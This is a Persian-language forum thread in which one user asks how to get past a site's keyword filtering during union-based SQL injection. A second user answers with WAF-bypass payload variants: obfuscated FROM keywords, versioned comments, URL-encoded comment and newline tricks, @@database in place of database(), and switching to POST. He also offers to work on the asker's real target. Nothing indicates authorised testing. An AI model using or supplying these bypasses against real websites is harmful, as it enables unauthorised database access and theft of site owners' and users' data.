sqli

[faryad_delaram]

با سلام و تشکر از دوستان گرامی، بعضی از سایتها نسبت به بعضی کلمات حساس هستند و در صورت وارد کردن آنها در URL ، آدرس موجود در مرورگر به یک آدرس خاص تغییر میکند که اکثرا آدرس صفحه اصلی سایت است مثلا به order by پاسخ میدهد و تعداد ستونها را 3 اعلام میکند بعد اگر select 1,2,3 را وارد کنیم ستون آسیب پذیر را 2 و 3 اعلام میکند اگر select 1,version(),3 را وارد کنیم ورژن را اعلام میکند اما وقتی select 1,database(),3 را وارد میکنیم محتوای آدرس بار حذف شده و آدرس صفحه اصلی ظاهر میشود و صفحه اصلی سایت بارگذاری میگردد همچنین وقتی select 1,2,3 from information_schema را وارد میکنیم باز هم صفحه اصلی سایت بارگذاری میگردد برای اینگونه موارد از چه راهکاری باید استفاده کرد

[k.shadow]

درود

بدون تارگت سخته توضیح دادن ولی روش های بسیاری برای بایپس هست پیشنهاد میکنم تارگتتونو قرار بدید روش کار کنیم

مثلا from

:

FROM

/*!FROM*/

FRom

/*!123456FROM */

/*!222222FrOm*/

%23%0afrom

%23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%0afrom

...........

و information_schema هم به همین ترتیب

روش post رو هم اضافه کنید معمولا جواب میده

بایپس زیاد هست شما تارگتتون رو قرار بدید بهتر میتونیم راهنمایی کنیم

بایپس database() هم میشه @@database

پیروز باشید .............